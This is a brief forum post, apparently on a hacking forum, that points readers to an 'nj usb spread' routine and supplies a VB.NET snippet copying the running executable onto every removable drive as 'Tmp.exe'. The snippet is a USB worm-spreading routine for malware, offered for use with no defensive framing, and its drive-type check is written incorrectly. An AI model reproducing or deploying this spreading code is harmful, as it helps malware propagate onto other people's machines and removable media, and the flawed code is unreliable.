google nj usb spread if u want to see better one
and much simple
and much simple
Code
Parallel.ForEach(IO.DriveInfo.GetDrives, Sub(d)
Try
If d.DriveType = d.IsReady And IO.DriveType.Removable Then
IO.File.Copy(Application.ExecutablePath, d.Name & "Tmp.exe")
End If
Catch : End Try
End Sub)